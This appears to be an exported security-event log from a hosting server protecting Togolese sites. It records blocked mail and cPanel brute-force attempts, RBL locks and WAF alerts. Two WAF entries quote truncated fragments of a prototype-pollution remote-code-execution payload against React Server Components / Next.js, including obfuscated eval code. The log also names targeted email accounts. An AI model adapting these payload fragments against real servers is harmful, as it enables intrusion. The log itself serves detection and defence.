IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_6156d802\":\"loading\",\"_response\":{\"_prefix\":\"var bgch=[].slice.call(arguments,1)[0];var dw=bgch;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.42
country_id: 3469034
description:
Jun 13 14:13:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 14:13:36 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:14:12 dovecot_login authenticator failed for H=(CWoy39CZj) [143.105.209.181]:6431: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:14:34 dovecot_login authenticator failed for H=(9ArYXtQY3) [143.105.209.181]:26491: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: myworkafrica.com.lct-togo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var fpo=arguments[0x1];var dhpv=fpo;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 35.254.244.123
country_id: 6252001
domain: myworkafrica.com.lct-togo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:15:19 dovecot_login authenticator failed for H=(EUkzx9) [143.105.209.181]:9112: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:16:38 dovecot_login authenticator failed for H=(YLtIQBe) [143.105.209.181]:19157: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:17:25 dovecot_login authenticator failed for H=(7uG5UxjKx) [143.105.209.181]:8248: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.151.162
country_id: 2363686
description:
2026-06-13 14:17:47 dovecot_login authenticator failed for H=(Yoga) [102.64.151.162]:51075: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:18:32 dovecot_login authenticator failed for H=(Hzb1aU4) [143.105.209.181]:30225: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 143.105.209.181
country_id: 2300660
description:
Jun 13 14:18:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account itra@cafe.tg has been locked for the attacker IP 143.105.209.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.140
country_id: 1835841
description:
Jun 13 14:19:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 143.105.209.181
country_id: 2300660
description:
Jun 13 14:19:45 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account itra@cafe.tg has been locked for the attacker IP 143.105.209.181


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:19:47 dovecot_login authenticator failed for H=(G18eNJ) [143.105.209.181]:34001: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.189
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2014/09/Rapport_annuel_2005.pdf HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:20:36 dovecot_login authenticator failed for H=(lk03rVKBu) [143.105.209.181]:15575: 535 Incorrect authentication data (set_id=itra@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 143.105.209.181
country_id: 2300660
description:
Jun 13 14:20:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account itra@cafe.tg has been locked for the attacker IP 143.105.209.181


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:21:52 dovecot_login authenticator failed for H=(lRSqurKhV) [143.105.209.181]:65423: 535 Incorrect authentication data


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.102.222.222
country_id: 660013
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:172.102.222.222||TA:172.102.222.222||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 14:23:00 +0000] info [cpaneld] 45.61.130.187 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 14:23:24 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.113.171.137
country_id: 1814991
description:
2026-06-13 14:23:43 dovecot_plain authenticator failed for H=(bru03l8o4gb2worb0) [123.113.171.137]:46940: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.209.181
country_id: 2300660
description:
2026-06-13 14:23:29 dovecot_login authenticator failed for H=(iPfuNAWz) [143.105.209.181]:53299: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-24.213.32.21.59||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.82.135.27
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/240977085 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:27:49 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 14:27:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.118.38
country_id: 2750405
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-28.146.103.118.38||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.6.74.109
country_id: 6254930
description:
[2026-06-13 14:30:12 +0000] info [cpaneld] 213.6.74.109 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.204.121
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26-1536x1152.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.26.webp 1600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.114.236.4
country_id: 3686110
description:
[2026-06-13 14:30:07 +0000] info [cpaneld] 186.114.236.4 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.186.184
country_id: 2635167
description:
[2026-06-13 14:30:09 +0000] info [cpaneld] 95.214.186.184 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.127.129.144
country_id: 1210997
description:
[2026-06-13 14:29:56 +0000] info [cpaneld] 115.127.129.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:14-33.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-06-13 14:33:48 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [128.185.235.110]:44632: 535 Incorrect authentication data (set_id=support@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.235.110
country_id: 1269750
description:
Jun 13 14:33:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.235.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 14:36:02 +0000] info [cpaneld] 103.253.27.219 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: biom.tg.tensai.tg
description:


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: biom.tg
description:


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.15
country_id: 3017382
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.252.196.15||TA:104.252.196.15||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.154.94
country_id: 2635167
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.181.154.94||TA:107.181.154.94||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:42:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.203.56
country_id: 3190538
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:209.242.203.56||TA:209.242.203.56||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [13/Jun/2026:14:44:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235227&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsotral%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781361844 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sotral/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.244.41.144
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:173.244.41.144||TA:173.244.41.144||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.245.209
country_id: 2510769
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.143.245.209||TA:104.143.245.209||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 14:44:28 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.123.83
country_id: 99237
description:
212.237.123.83 - - [13/Jun/2026:14:48:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857640&pdata=https%253A%252F%252Ftogodailynews.tg%252Fpidu-les-acteurs-en-conclave-pour-valider-le-mecanisme-de-gestion-des-plaintes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781362089 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/pidu-les-acteurs-en-conclave-pour-valider-le-mecanisme-de-gestion-des-plaintes/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2626.1201 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.123.83


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 14:50:42 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: cl_dos
name: DOS detection
abuser: 160.238.65.2
country_id: 1819730
description:
2026-06-13 14:51:43.692736037 +0000 GMT m=+62307.371565910 Denial of Service attack was discovered from 160.238.65.2, on port 52223. Open connections: 252


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.49.133.253
country_id: 3865483
description:
[2026-06-13 14:56:40 +0000] info [cpaneld] 201.49.133.253 - ban "GET /login/?login_only=1&user=ban&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ban (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.68.250.120
country_id: 2017370
description:
[2026-06-13 14:56:30 +0000] info [cpaneld] 178.68.250.120 - banmla "GET /login/?login_only=1&user=banmla&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banmla (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.79.183.233
country_id: 1210997
description:
[2026-06-13 14:56:34 +0000] info [cpaneld] 103.79.183.233 - banml "GET /login/?login_only=1&user=banml&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banml (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.35.156.150
country_id: 1210997
description:
[2026-06-13 14:56:37 +0000] info [cpaneld] 103.35.156.150 - banm "GET /login/?login_only=1&user=banm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user banm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.233.27.2
country_id: 3932488
description:
[2026-06-13 14:56:45 +0000] info [cpaneld] 181.233.27.2 - ba "GET /login/?login_only=1&user=ba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ba (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 14:58:09 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 13 15:01:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 13 15:02:14 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 15:02:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 13 15:02:50 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.72
country_id: 3865483
description:
Jun 13 15:04:59 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.72 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.211.137
country_id: 1512440
description:
[2026-06-13 15:06:13 +0000] info [cpaneld] 95.214.211.137 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.45.238.11
country_id: 2017370
description:
[2026-06-13 15:06:25 +0000] info [cpaneld] 77.45.238.11 - nstreamp "GET /login/?login_only=1&user=nstreamp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.149.17
country_id: 3996063
description:
[2026-06-13 15:06:46 +0000] info [cpaneld] 45.189.149.17 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.1.82.29
country_id: 2017370
description:
[2026-06-13 15:06:43 +0000] info [cpaneld] 37.1.82.29 - nstr "GET /login/?login_only=1&user=nstr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.74.172.66
country_id: 1733045
description:
[2026-06-13 15:06:49 +0000] info [cpaneld] 180.74.172.66 - ns "GET /login/?login_only=1&user=ns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ns (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.121.37.80
country_id: 1210997
description:
103.121.37.80 - - [13/Jun/2026:15:07:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777030&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-un-nouvel-elan-pour-les-infrastructures-scolaires-et-universitaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781363252 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-un-nouvel-elan-pour-les-infrastructures-scolaires-et-universitaires/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.6645.1605 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.121.37.80


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.71.108.35
country_id: 3469034
description:
45.71.108.35 - - [13/Jun/2026:15:09:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727121&pdata=https%253A%252F%252Ftogodailynews.tg%252Fstimuler-le-commerce-en-afrique-de-louest-la-sifc-et-la-bidc-sassocient-pour-octroyer-100-millions-usd%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781363357 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/stimuler-le-commerce-en-afrique-de-louest-la-sifc-et-la-bidc-sassocient-pour-octroyer-100-millions-usd/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5510.1226 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.71.108.35


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.211.16
country_id: 6252001
description:
Jun 13 15:10:51 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.211.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-13 15:10:53 dovecot_login authenticator failed for H=(2d8p6azDxh) [158.94.211.16]:65143: 535 Incorrect authentication data (set_id=cmississo@kpmg.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.211.16
country_id: 6252001
description:
Jun 13 15:11:28 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.211.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-13 15:11:30 dovecot_login authenticator failed for H=(3l3y0g4GA) [158.94.211.16]:53675: 535 Incorrect authentication data (set_id=cmississo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 15:11:30 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 15:13:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.207.83.42
country_id: 3686110
description:
181.207.83.42 - - [13/Jun/2026:15:14:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711699&pdata=https%253A%252F%252Ftogodailynews.tg%252Fclimat-des-affaires-7-964-entreprises-creees-au-premier-semestre-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781363680 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/climat-des-affaires-7-964-entreprises-creees-au-premier-semestre-2024/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.6129.1861 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.207.83.42


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.213.7
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Le Togo est un acteur pivot de la s\xc3\xa9curit\xc3\xa9 collective | TOGODAILYNEWS&siteId=1&rec=1&rand=712448&h=23&m=14&s=52&url=http:/togodailynews.tg/le-togo-est-un-acteur-pivot-de-la-securite-collective/&uid=0&pid=14654&visitorId=d204a1f5ba739109&fvts=1781363693&vc=1&idn=0&refts=0&lvts=1781363693&fullRef=togodailynews.tg/american-express-et-le-groupe-ecobank-signent-un-accord-pour-etendre-lacceptation-damerican-express-dans-21-pays-dafrique-subsaharienne/&send_image=1&cookie=1&res=375x812&gtms=3036&pvId=VSXisd&browser=Chrome_44&os=Android_8.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.88.102
country_id: 1668284
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/admin-bar.min.css?ver=6.9.4 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 15:22:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.39.13.60
country_id: 1168579
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/journee-internationale-des-travailleurs HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.134.219.127
country_id: 1282988
description:
103.134.219.127 - - [13/Jun/2026:15:24:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868956&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fun-rendez-vous-avec-soi-meme-et-avec-dieu%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781364293 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/un-rendez-vous-avec-soi-meme-et-avec-dieu/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.5405.1579 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.134.219.127


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.255.118.119
country_id: 6252001
description:
